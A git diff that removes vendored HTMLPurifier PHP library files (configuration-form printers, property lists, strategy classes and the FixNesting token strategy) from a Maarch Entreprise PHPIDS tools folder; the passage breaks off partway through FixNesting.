b41476f941c08fdf1dbb83e5f0b39fa347815e90..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer/ConfigForm.php +++ /dev/null @@ -1,368 +0,0 @@ -<?php - -/** - * @todo Rewrite to use Interchange objects - */ -class HTMLPurifier_Printer_ConfigForm extends HTMLPurifier_Printer -{ - - /** - * Printers for specific fields - */ - protected $fields = array(); - - /** - * Documentation URL, can have fragment tagged on end - */ - protected $docURL; - - /** - * Name of form element to stuff config in - */ - protected $name; - - /** - * Whether or not to compress directive names, clipping them off - * after a certain amount of letters. False to disable or integer letters - * before clipping. - */ - protected $compress = false; - - /** - * @param $name Form element name for directives to be stuffed into - * @param $doc_url String documentation URL, will have fragment tagged on - * @param $compress Integer max length before compressing a directive name, set to false to turn off - */ - public function __construct( - $name, $doc_url = null, $compress = false - ) { - parent::__construct(); - $this->docURL = $doc_url; - $this->name = $name; - $this->compress = $compress; - // initialize sub-printers - $this->fields[0] = new HTMLPurifier_Printer_ConfigForm_default(); - $this->fields[HTMLPurifier_VarParser::BOOL] = new HTMLPurifier_Printer_ConfigForm_bool(); - } - - /** - * Sets default column and row size for textareas in sub-printers - * @param $cols Integer columns of textarea, null to use default - * @param $rows Integer rows of textarea, null to use default - */ - public function setTextareaDimensions($cols = null, $rows = null) { - if ($cols) $this->fields['default']->cols = $cols; - if ($rows) $this->fields['default']->rows = $rows; - } - - /** - * Retrieves styling, in case it is not accessible by webserver - */ - public static function getCSS() { - return file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/Printer/ConfigForm.css'); - } - - /** - * Retrieves JavaScript, in case it is not accessible by webserver - */ - public static function getJavaScript() { - return file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/Printer/ConfigForm.js'); - } - - /** - * Returns HTML output for a configuration form - * @param $config Configuration object of current form state, or an array - * where [0] has an HTML namespace and [1] is being rendered. - * @param $allowed Optional namespace(s) and directives to restrict form to. - */ - public function render($config, $allowed = true, $render_controls = true) { - if (is_array($config) && isset($config[0])) { - $gen_config = $config[0]; - $config = $config[1]; - } else { - $gen_config = $config; - } - - $this->config = $config; - $this->genConfig = $gen_config; - $this->prepareGenerator($gen_config); - - $allowed = HTMLPurifier_Config::getAllowedDirectivesForForm($allowed, $config->def); - $all = array(); - foreach ($allowed as $key) { - list($ns, $directive) = $key; - $all[$ns][$directive] = $config->get($ns .'.'. $directive); - } - - $ret = ''; - $ret .= $this->start('table', array('class' => 'hp-config')); - $ret .= $this->start('thead'); - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Directive', array('class' => 'hp-directive')); - $ret .= $this->element('th', 'Value', array('class' => 'hp-value')); - $ret .= $this->end('tr'); - $ret .= $this->end('thead'); - foreach ($all as $ns => $directives) { - $ret .= $this->renderNamespace($ns, $directives); - } - if ($render_controls) { - $ret .= $this->start('tbody'); - $ret .= $this->start('tr'); - $ret .= $this->start('td', array('colspan' => 2, 'class' => 'controls')); - $ret .= $this->elementEmpty('input', array('type' => 'submit', 'value' => 'Submit')); - $ret .= '[<a href="?">Reset</a>]'; - $ret .= $this->end('td'); - $ret .= $this->end('tr'); - $ret .= $this->end('tbody'); - } - $ret .= $this->end('table'); - return $ret; - } - - /** - * Renders a single namespace - * @param $ns String namespace name - * @param $directive Associative array of directives to values - */ - protected function renderNamespace($ns, $directives) { - $ret = ''; - $ret .= $this->start('tbody', array('class' => 'namespace')); - $ret .= $this->start('tr'); - $ret .= $this->element('th', $ns, array('colspan' => 2)); - $ret .= $this->end('tr'); - $ret .= $this->end('tbody'); - $ret .= $this->start('tbody'); - foreach ($directives as $directive => $value) { - $ret .= $this->start('tr'); - $ret .= $this->start('th'); - if ($this->docURL) { - $url = str_replace('%s', urlencode("$ns.$directive"), $this->docURL); - $ret .= $this->start('a', array('href' => $url)); - } - $attr = array('for' => "{$this->name}:$ns.$directive"); - - // crop directive name if it's too long - if (!$this->compress || (strlen($directive) < $this->compress)) { - $directive_disp = $directive; - } else { - $directive_disp = substr($directive, 0, $this->compress - 2) . '...'; - $attr['title'] = $directive; - } - - $ret .= $this->element( - 'label', - $directive_disp, - // component printers must create an element with this id - $attr - ); - if ($this->docURL) $ret .= $this->end('a'); - $ret .= $this->end('th'); - - $ret .= $this->start('td'); - $def = $this->config->def->info["$ns.$directive"]; - if (is_int($def)) { - $allow_null = $def < 0; - $type = abs($def); - } else { - $type = $def->type; - $allow_null = isset($def->allow_null); - } - if (!isset($this->fields[$type])) $type = 0; // default - $type_obj = $this->fields[$type]; - if ($allow_null) { - $type_obj = new HTMLPurifier_Printer_ConfigForm_NullDecorator($type_obj); - } - $ret .= $type_obj->render($ns, $directive, $value, $this->name, array($this->genConfig, $this->config)); - $ret .= $this->end('td'); - $ret .= $this->end('tr'); - } - $ret .= $this->end('tbody'); - return $ret; - } - -} - -/** - * Printer decorator for directives that accept null - */ -class HTMLPurifier_Printer_ConfigForm_NullDecorator extends HTMLPurifier_Printer { - /** - * Printer being decorated - */ - protected $obj; - /** - * @param $obj Printer to decorate - */ - public function __construct($obj) { - parent::__construct(); - $this->obj = $obj; - } - public function render($ns, $directive, $value, $name, $config) { - if (is_array($config) && isset($config[0])) { - $gen_config = $config[0]; - $config = $config[1]; - } else { - $gen_config = $config; - } - $this->prepareGenerator($gen_config); - - $ret = ''; - $ret .= $this->start('label', array('for' => "$name:Null_$ns.$directive")); - $ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose')); - $ret .= $this->text(' Null/Disabled'); - $ret .= $this->end('label'); - $attr = array( - 'type' => 'checkbox', - 'value' => '1', - 'class' => 'null-toggle', - 'name' => "$name"."[Null_$ns.$directive]", - 'id' => "$name:Null_$ns.$directive", - 'onclick' => "toggleWriteability('$name:$ns.$directive',checked)" // INLINE JAVASCRIPT!!!! - ); - if ($this->obj instanceof HTMLPurifier_Printer_ConfigForm_bool) { - // modify inline javascript slightly - $attr['onclick'] = "toggleWriteability('$name:Yes_$ns.$directive',checked);toggleWriteability('$name:No_$ns.$directive',checked)"; - } - if ($value === null) $attr['checked'] = 'checked'; - $ret .= $this->elementEmpty('input', $attr); - $ret .= $this->text(' or '); - $ret .= $this->elementEmpty('br'); - $ret .= $this->obj->render($ns, $directive, $value, $name, array($gen_config, $config)); - return $ret; - } -} - -/** - * Swiss-army knife configuration form field printer - */ -class HTMLPurifier_Printer_ConfigForm_default extends HTMLPurifier_Printer { - public $cols = 18; - public $rows = 5; - public function render($ns, $directive, $value, $name, $config) { - if (is_array($config) && isset($config[0])) { - $gen_config = $config[0]; - $config = $config[1]; - } else { - $gen_config = $config; - } - $this->prepareGenerator($gen_config); - // this should probably be split up a little - $ret = ''; - $def = $config->def->info["$ns.$directive"]; - if (is_int($def)) { - $type = abs($def); - } else { - $type = $def->type; - } - if (is_array($value)) { - switch ($type) { - case HTMLPurifier_VarParser::LOOKUP: - $array = $value; - $value = array(); - foreach ($array as $val => $b) { - $value[] = $val; - } - case HTMLPurifier_VarParser::ALIST: - $value = implode(PHP_EOL, $value); - break; - case HTMLPurifier_VarParser::HASH: - $nvalue = ''; - foreach ($value as $i => $v) { - $nvalue .= "$i:$v" . PHP_EOL; - } - $value = $nvalue; - break; - default: - $value = ''; - } - } - if ($type === HTMLPurifier_VarParser::MIXED) { - return 'Not supported'; - $value = serialize($value); - } - $attr = array( - 'name' => "$name"."[$ns.$directive]", - 'id' => "$name:$ns.$directive" - ); - if ($value === null) $attr['disabled'] = 'disabled'; - if (isset($def->allowed)) { - $ret .= $this->start('select', $attr); - foreach ($def->allowed as $val => $b) { - $attr = array(); - if ($value == $val) $attr['selected'] = 'selected'; - $ret .= $this->element('option', $val, $attr); - } - $ret .= $this->end('select'); - } elseif ( - $type === HTMLPurifier_VarParser::TEXT || - $type === HTMLPurifier_VarParser::ITEXT || - $type === HTMLPurifier_VarParser::ALIST || - $type === HTMLPurifier_VarParser::HASH || - $type === HTMLPurifier_VarParser::LOOKUP - ) { - $attr['cols'] = $this->cols; - $attr['rows'] = $this->rows; - $ret .= $this->start('textarea', $attr); - $ret .= $this->text($value); - $ret .= $this->end('textarea'); - } else { - $attr['value'] = $value; - $attr['type'] = 'text'; - $ret .= $this->elementEmpty('input', $attr); - } - return $ret; - } -} - -/** - * Bool form field printer - */ -class HTMLPurifier_Printer_ConfigForm_bool extends HTMLPurifier_Printer { - public function render($ns, $directive, $value, $name, $config) { - if (is_array($config) && isset($config[0])) { - $gen_config = $config[0]; - $config = $config[1]; - } else { - $gen_config = $config; - } - $this->prepareGenerator($gen_config); - $ret = ''; - $ret .= $this->start('div', array('id' => "$name:$ns.$directive")); - - $ret .= $this->start('label', array('for' => "$name:Yes_$ns.$directive")); - $ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose')); - $ret .= $this->text(' Yes'); - $ret .= $this->end('label'); - - $attr = array( - 'type' => 'radio', - 'name' => "$name"."[$ns.$directive]", - 'id' => "$name:Yes_$ns.$directive", - 'value' => '1' - ); - if ($value === true) $attr['checked'] = 'checked'; - if ($value === null) $attr['disabled'] = 'disabled'; - $ret .= $this->elementEmpty('input', $attr); - - $ret .= $this->start('label', array('for' => "$name:No_$ns.$directive")); - $ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose')); - $ret .= $this->text(' No'); - $ret .= $this->end('label'); - - $attr = array( - 'type' => 'radio', - 'name' => "$name"."[$ns.$directive]", - 'id' => "$name:No_$ns.$directive", - 'value' => '0' - ); - if ($value === false) $attr['checked'] = 'checked'; - if ($value === null) $attr['disabled'] = 'disabled'; - $ret .= $this->elementEmpty('input', $attr); - - $ret .= $this->end('div'); - - return $ret; - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer/HTMLDefinition.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer/HTMLDefinition.php deleted file mode 100755 index e17ddd51ff3d8c5afe8262090f030cf434c5306e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer/HTMLDefinition.php +++ /dev/null @@ -1,272 +0,0 @@ -<?php - -class HTMLPurifier_Printer_HTMLDefinition extends HTMLPurifier_Printer -{ - - /** - * Instance of HTMLPurifier_HTMLDefinition, for easy access - */ - protected $def; - - public function render($config) { - $ret = ''; - $this->config =& $config; - - $this->def = $config->getHTMLDefinition(); - - $ret .= $this->start('div', array('class' => 'HTMLPurifier_Printer')); - - $ret .= $this->renderDoctype(); - $ret .= $this->renderEnvironment(); - $ret .= $this->renderContentSets(); - $ret .= $this->renderInfo(); - - $ret .= $this->end('div'); - - return $ret; - } - - /** - * Renders the Doctype table - */ - protected function renderDoctype() { - $doctype = $this->def->doctype; - $ret = ''; - $ret .= $this->start('table'); - $ret .= $this->element('caption', 'Doctype'); - $ret .= $this->row('Name', $doctype->name); - $ret .= $this->row('XML', $doctype->xml ? 'Yes' : 'No'); - $ret .= $this->row('Default Modules', implode($doctype->modules, ', ')); - $ret .= $this->row('Default Tidy Modules', implode($doctype->tidyModules, ', ')); - $ret .= $this->end('table'); - return $ret; - } - - - /** - * Renders environment table, which is miscellaneous info - */ - protected function renderEnvironment() { - $def = $this->def; - - $ret = ''; - - $ret .= $this->start('table'); - $ret .= $this->element('caption', 'Environment'); - - $ret .= $this->row('Parent of fragment', $def->info_parent); - $ret .= $this->renderChildren($def->info_parent_def->child); - $ret .= $this->row('Block wrap name', $def->info_block_wrapper); - - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Global attributes'); - $ret .= $this->element('td', $this->listifyAttr($def->info_global_attr),0,0); - $ret .= $this->end('tr'); - - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Tag transforms'); - $list = array(); - foreach ($def->info_tag_transform as $old => $new) { - $new = $this->getClass($new, 'TagTransform_'); - $list[] = "<$old> with $new"; - } - $ret .= $this->element('td', $this->listify($list)); - $ret .= $this->end('tr'); - - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Pre-AttrTransform'); - $ret .= $this->element('td', $this->listifyObjectList($def->info_attr_transform_pre)); - $ret .= $this->end('tr'); - - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Post-AttrTransform'); - $ret .= $this->element('td', $this->listifyObjectList($def->info_attr_transform_post)); - $ret .= $this->end('tr'); - - $ret .= $this->end('table'); - return $ret; - } - - /** - * Renders the Content Sets table - */ - protected function renderContentSets() { - $ret = ''; - $ret .= $this->start('table'); - $ret .= $this->element('caption', 'Content Sets'); - foreach ($this->def->info_content_sets as $name => $lookup) { - $ret .= $this->heavyHeader($name); - $ret .= $this->start('tr'); - $ret .= $this->element('td', $this->listifyTagLookup($lookup)); - $ret .= $this->end('tr'); - } - $ret .= $this->end('table'); - return $ret; - } - - /** - * Renders the Elements ($info) table - */ - protected function renderInfo() { - $ret = ''; - $ret .= $this->start('table'); - $ret .= $this->element('caption', 'Elements ($info)'); - ksort($this->def->info); - $ret .= $this->heavyHeader('Allowed tags', 2); - $ret .= $this->start('tr'); - $ret .= $this->element('td', $this->listifyTagLookup($this->def->info), array('colspan' => 2)); - $ret .= $this->end('tr'); - foreach ($this->def->info as $name => $def) { - $ret .= $this->start('tr'); - $ret .= $this->element('th', "<$name>", array('class'=>'heavy', 'colspan' => 2)); - $ret .= $this->end('tr'); - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Inline content'); - $ret .= $this->element('td', $def->descendants_are_inline ? 'Yes' : 'No'); - $ret .= $this->end('tr'); - if (!empty($def->excludes)) { - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Excludes'); - $ret .= $this->element('td', $this->listifyTagLookup($def->excludes)); - $ret .= $this->end('tr'); - } - if (!empty($def->attr_transform_pre)) { - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Pre-AttrTransform'); - $ret .= $this->element('td', $this->listifyObjectList($def->attr_transform_pre)); - $ret .= $this->end('tr'); - } - if (!empty($def->attr_transform_post)) { - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Post-AttrTransform'); - $ret .= $this->element('td', $this->listifyObjectList($def->attr_transform_post)); - $ret .= $this->end('tr'); - } - if (!empty($def->auto_close)) { - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Auto closed by'); - $ret .= $this->element('td', $this->listifyTagLookup($def->auto_close)); - $ret .= $this->end('tr'); - } - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Allowed attributes'); - $ret .= $this->element('td',$this->listifyAttr($def->attr), array(), 0); - $ret .= $this->end('tr'); - - if (!empty($def->required_attr)) { - $ret .= $this->row('Required attributes', $this->listify($def->required_attr)); - } - - $ret .= $this->renderChildren($def->child); - } - $ret .= $this->end('table'); - return $ret; - } - - /** - * Renders a row describing the allowed children of an element - * @param $def HTMLPurifier_ChildDef of pertinent element - */ - protected function renderChildren($def) { - $context = new HTMLPurifier_Context(); - $ret = ''; - $ret .= $this->start('tr'); - $elements = array(); - $attr = array(); - if (isset($def->elements)) { - if ($def->type == 'strictblockquote') { - $def->validateChildren(array(), $this->config, $context); - } - $elements = $def->elements; - } - if ($def->type == 'chameleon') { - $attr['rowspan'] = 2; - } elseif ($def->type == 'empty') { - $elements = array(); - } elseif ($def->type == 'table') { - $elements = array_flip(array('col', 'caption', 'colgroup', 'thead', - 'tfoot', 'tbody', 'tr')); - } - $ret .= $this->element('th', 'Allowed children', $attr); - - if ($def->type == 'chameleon') { - - $ret .= $this->element('td', - '<em>Block</em>: ' . - $this->escape($this->listifyTagLookup($def->block->elements)),0,0); - $ret .= $this->end('tr'); - $ret .= $this->start('tr'); - $ret .= $this->element('td', - '<em>Inline</em>: ' . - $this->escape($this->listifyTagLookup($def->inline->elements)),0,0); - - } elseif ($def->type == 'custom') { - - $ret .= $this->element('td', '<em>'.ucfirst($def->type).'</em>: ' . - $def->dtd_regex); - - } else { - $ret .= $this->element('td', - '<em>'.ucfirst($def->type).'</em>: ' . - $this->escape($this->listifyTagLookup($elements)),0,0); - } - $ret .= $this->end('tr'); - return $ret; - } - - /** - * Listifies a tag lookup table. - * @param $array Tag lookup array in form of array('tagname' => true) - */ - protected function listifyTagLookup($array) { - ksort($array); - $list = array(); - foreach ($array as $name => $discard) { - if ($name !== '#PCDATA' && !isset($this->def->info[$name])) continue; - $list[] = $name; - } - return $this->listify($list); - } - - /** - * Listifies a list of objects by retrieving class names and internal state - * @param $array List of objects - * @todo Also add information about internal state - */ - protected function listifyObjectList($array) { - ksort($array); - $list = array(); - foreach ($array as $discard => $obj) { - $list[] = $this->getClass($obj, 'AttrTransform_'); - } - return $this->listify($list); - } - - /** - * Listifies a hash of attributes to AttrDef classes - * @param $array Array hash in form of array('attrname' => HTMLPurifier_AttrDef) - */ - protected function listifyAttr($array) { - ksort($array); - $list = array(); - foreach ($array as $name => $obj) { - if ($obj === false) continue; - $list[] = "$name = <i>" . $this->getClass($obj, 'AttrDef_') . '</i>'; - } - return $this->listify($list); - } - - /** - * Creates a heavy header row - */ - protected function heavyHeader($text, $num = 1) { - $ret = ''; - $ret .= $this->start('tr'); - $ret .= $this->element('th', $text, array('colspan' => $num, 'class' => 'heavy')); - $ret .= $this->end('tr'); - return $ret; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/PropertyList.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/PropertyList.php deleted file mode 100755 index 088e071c3b8c212d07d7b9e003b655abafd8ad9d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/PropertyList.php +++ /dev/null @@ -1,86 +0,0 @@ -<?php - -/** - * Generic property list implementation - */ -class HTMLPurifier_PropertyList -{ - /** - * Internal data-structure for properties - */ - protected $data = array(); - - /** - * Parent plist - */ - protected $parent; - - protected $cache; - - public function __construct($parent = null) { - $this->parent = $parent; - } - - /** - * Recursively retrieves the value for a key - */ - public function get($name) { - if ($this->has($name)) return $this->data[$name]; - // possible performance bottleneck, convert to iterative if necessary - if ($this->parent) return $this->parent->get($name); - throw new HTMLPurifier_Exception("Key '$name' not found"); - } - - /** - * Sets the value of a key, for this plist - */ - public function set($name, $value) { - $this->data[$name] = $value; - } - - /** - * Returns true if a given key exists - */ - public function has($name) { - return array_key_exists($name, $this->data); - } - - /** - * Resets a value to the value of it's parent, usually the default. If - * no value is specified, the entire plist is reset. - */ - public function reset($name = null) { - if ($name == null) $this->data = array(); - else unset($this->data[$name]); - } - - /** - * Squashes this property list and all of its property lists into a single - * array, and returns the array. This value is cached by default. - * @param $force If true, ignores the cache and regenerates the array. - */ - public function squash($force = false) { - if ($this->cache !== null && !$force) return $this->cache; - if ($this->parent) { - return $this->cache = array_merge($this->parent->squash($force), $this->data); - } else { - return $this->cache = $this->data; - } - } - - /** - * Returns the parent plist. - */ - public function getParent() { - return $this->parent; - } - - /** - * Sets the parent plist. - */ - public function setParent($plist) { - $this->parent = $plist; - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/PropertyListIterator.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/PropertyListIterator.php deleted file mode 100755 index d5084d00d2cfc872ef653610f8c0becc0c8ee34a..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/PropertyListIterator.php +++ /dev/null @@ -1,32 +0,0 @@ -<?php - -/** - * Property list iterator. Do not instantiate this class directly. - */ -class HTMLPurifier_PropertyListIterator extends FilterIterator -{ - - protected $l; - protected $filter; - - /** - * @param $data Array of data to iterate over - * @param $filter Optional prefix to only allow values of - */ - public function __construct(Iterator $iterator, $filter = null) { - parent::__construct($iterator); - $this->l = strlen($filter); - $this->filter = $filter; - } - - public function accept() { - $key = $this->getInnerIterator()->key(); - if( strncmp($key, $this->filter, $this->l) !== 0 ) { - return false; - } - return true; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy.php deleted file mode 100755 index a805053f3eeb31958d7677eb128fc52dbf9200a4..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php - -/** - * Supertype for classes that define a strategy for modifying/purifying tokens. - * - * While HTMLPurifier's core purpose is fixing HTML into something proper, - * strategies provide plug points for extra configuration or even extra - * features, such as custom tags, custom parsing of text, etc. - */ - - -abstract class HTMLPurifier_Strategy -{ - - /** - * Executes the strategy on the tokens. - * - * @param $tokens Array of HTMLPurifier_Token objects to be operated on. - * @param $config Configuration options - * @returns Processed array of token objects. - */ - abstract public function execute($tokens, $config, $context); - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/Composite.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/Composite.php deleted file mode 100755 index ccfb8968cf3b6749d2459efd115105293a3988d7..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/Composite.php +++ /dev/null @@ -1,25 +0,0 @@ -<?php - -/** - * Composite strategy that runs multiple strategies on tokens. - */ -abstract class HTMLPurifier_Strategy_Composite extends HTMLPurifier_Strategy -{ - - /** - * List of strategies to run tokens through. - */ - protected $strategies = array(); - - abstract public function __construct(); - - public function execute($tokens, $config, $context) { - foreach ($this->strategies as $strategy) { - $tokens = $strategy->execute($tokens, $config, $context); - } - return $tokens; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/Core.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/Core.php deleted file mode 100755 index 6df0123469a6f7526e1fbcc9c1f22890c7056b39..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/Core.php +++ /dev/null @@ -1,18 +0,0 @@ -<?php - -/** - * Core strategy composed of the big four strategies. - */ -class HTMLPurifier_Strategy_Core extends HTMLPurifier_Strategy_Composite -{ - - public function __construct() { - $this->strategies[] = new HTMLPurifier_Strategy_RemoveForeignElements(); - $this->strategies[] = new HTMLPurifier_Strategy_MakeWellFormed(); - $this->strategies[] = new HTMLPurifier_Strategy_FixNesting(); - $this->strategies[] = new HTMLPurifier_Strategy_ValidateAttributes(); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/FixNesting.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/FixNesting.php deleted file mode 100755 index 8a4f9ce01756249b9516cf9ce8f7e3aac122ed01..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/FixNesting.php +++ /dev/null @@ -1,328 +0,0 @@ -<?php - -/** - * Takes a well formed list of tokens and fixes their nesting. - * - * HTML elements dictate which elements are allowed to be their children, - * for example, you can't have a p tag in a span tag. Other elements have - * much more rigorous definitions: tables, for instance, require a specific - * order for their elements. There are also constraints not expressible by - * document type definitions, such as the chameleon nature of ins/del - * tags and global child exclusions. - * - * The first major objective of this strategy is to iterate through all the - * nodes (not tokens) of the list of tokens and determine whether or not - * their children conform to the element's definition. If they do not, the - * child definition may optionally supply an amended list of elements that - * is valid or require that the entire node be deleted (and the previous - * node rescanned). - * - * The second objective is to ensure that explicitly excluded elements of - * an element do not appear in its children. Code that accomplishes this - * task is pervasive through the strategy, though the two are distinct tasks - * and could, theoretically, be seperated (although it's not recommended). - * - * @note Whether or not unrecognized children are silently dropped or - * translated into text depends on the child definitions. - * - * @todo Enable nodes to be bubbled out of the structure. - */ - -class HTMLPurifier_Strategy_FixNesting extends HTMLPurifier_Strategy -{ - - public function execute($tokens, $config, $context) { - //####################################################################// - // Pre-processing - - // get a copy of the HTML definition - $definition = $config->getHTMLDefinition(); - - // insert implicit "parent" node, will be removed at end. - // DEFINITION CALL - $parent_name = $definition->info_parent; - array_unshift($tokens, new HTMLPurifier_Token_Start($parent_name)); - $tokens[] = new HTMLPurifier_Token_End($parent_name); - - // setup the context variable 'IsInline', for chameleon processing - // is 'false' when we are not inline, 'true' when it must always - // be inline, and an integer when it is inline for a certain - // branch of the document tree - $is_inline = $definition->info_parent_def->descendants_are_inline; - $context->register('IsInline', $is_inline); - - // setup error collector - $e =& $context->get('ErrorCollector', true); - - //####################################################################// - // Loop initialization - - // stack that contains the indexes of all parents, - // $stack[count($stack)-1] being the current parent - $stack = array(); - - // stack that contains all elements that are excluded - // it is organized by parent elements, similar to $stack, - // but it is only populated when an element with exclusions is - // processed, i.e. there won't be empty exclusions. - $exclude_stack = array(); - - // variable that contains the start token while we are processing - // nodes. This enables error reporting to do its job - $start_token = false; - $context->register('CurrentToken', $start_token); - - //####################################################################// - // Loop - - // iterate through all start nodes. Determining the start node - // is complicated so it has been omitted from the loop construct - for ($i = 0, $size = count($tokens) ; $i < $size; ) { - - //################################################################// - // Gather information on children - - // child token accumulator - $child_tokens = array(); - - // scroll to the end of this node, report number, and collect - // all children - for ($j = $i, $depth = 0; ; $j++) { - if ($tokens[$j] instanceof HTMLPurifier_Token_Start) { - $depth++; - // skip token assignment on first iteration, this is the - // token we currently are on - if ($depth == 1) continue; - } elseif ($tokens[$j] instanceof HTMLPurifier_Token_End) { - $depth--; - // skip token assignment on last iteration, this is the - // end token of the token we're currently on - if ($depth == 0) break; - } - $child_tokens[] = $tokens[$j]; - } - - // $i is index of start token - // $j is index of end token - - $start_token = $tokens[$i]; // to make token available via CurrentToken - - //################################################################// - // Gather information on parent - - // calculate parent information - if ($count = count($stack)) { - $parent_index = $stack[$count-1]; - $parent_name = $tokens[$parent_index]->name; - if ($parent_index == 0) { - $parent_def = $definition->info_parent_def; - } else { - $parent_def = $definition->info[$parent_name]; - } - } else { - // processing as if the parent were the "root" node - // unknown info, it won't be used anyway, in the future, - // we may want to enforce one element only (this is - // necessary for HTML Purifier to clean entire documents - $parent_index = $parent_name = $parent_def = null; - } - - // calculate context - if ($is_inline === false) { - // check if conditions make it inline - if (!empty($parent_def) && $parent_def->descendants_are_inline) { - $is_inline = $count - 1; - } - } else { - // check if we're out of inline - if ($count === $is_inline) { - $is_inline = false; - } - } - - //################################################################// - // Determine whether element is explicitly excluded SGML-style - - // determine whether or not element is excluded by checking all - // parent exclusions. The array should not be very large, two - // elements at most. - $excluded = false; - if (!empty($exclude_stack)) { - foreach ($exclude_stack as $lookup) { - if (isset($lookup[$tokens[$i]->name])) { - $excluded = true; - // no need to continue processing - break; - } - } - } - - //################################################################// - // Perform child validation - - if ($excluded) { - // there is an exclusion, remove the entire node - $result = false; - $excludes = array(); // not used, but good to initialize anyway - } else { - // DEFINITION CALL - if ($i === 0) { - // special processing for the first node - $def = $definition->info_parent_def; - } else { - $def = $definition->info[$tokens[$i]->name]; - - } - - if (!empty($def->child)) { - // have DTD child def validate children - $result = $def->child->validateChildren( - $child_tokens, $config, $context); - } else { - // weird, no child definition, get rid of everything - $result = false; - } - - // determine whether or not this element has any exclusions - $excludes = $def->excludes; - } - - // $result is now a bool or array - - //################################################################// - // Process result by interpreting $result - - if ($result === true || $child_tokens === $result) { - // leave the node as is - - // register start token as a parental node start - $stack[] = $i; - - // register exclusions if there are any - if (!empty($excludes)) $exclude_stack[] = $excludes; - - // move cursor to next possible start node - $i++; - - } elseif($result === false) { - // remove entire node - - if ($e) { - if ($excluded) { - $e->send(E_ERROR, 'Strategy_FixNesting: Node excluded'); - } else { - $e->send(E_ERROR, 'Strategy_FixNesting: Node removed'); - } - } - - // calculate length of inner tokens and current tokens - $length = $j - $i + 1; - - // perform removal - array_splice($tokens, $i, $length); - - // update size - $size -= $length; - - // there is no start token to register, - // current node is now the next possible start node - // unless it turns out that we need to do a double-check - - // this is a rought heuristic that covers 100% of HTML's - // cases and 99% of all other cases. A child definition - // that would be tricked by this would be something like: - // ( | a b c) where it's all or nothing. Fortunately, - // our current implementation claims that that case would - // not allow empty, even if it did - if (!$parent_def->child->allow_empty) { - // we need to do a double-check - $i = $parent_index; - array_pop($stack); - } - - // PROJECTED OPTIMIZATION: Process all children elements before - // reprocessing parent node. - - } else { - // replace node with $result - - // calculate length of inner tokens - $length = $j - $i - 1; - - if ($e) { - if (empty($result) && $length) { - $e->send(E_ERROR, 'Strategy_FixNesting: Node contents removed'); - } else { - $e->send(E_WARNING, 'Strategy_FixNesting: Node reorganized'); - } - } - - // perform replacement - array_splice($tokens, $i + 1, $length, $result); - - // update size - $size -= $length; - $size += count($result); - - // register start token as a parental node start - $stack[] = $i; - - // register exclusions if there are any - if (!empty($excludes)) $exclude_stack[] = $excludes; - - // move cursor to next possible start node - $i++; - - } - - //################################################################// - // Scroll to next start node - - // We assume, at this point, that $i is the index of the token - // that is the first possible new start point for a node. - - // Test if the token indeed is a start tag, if not, move forward - // and test 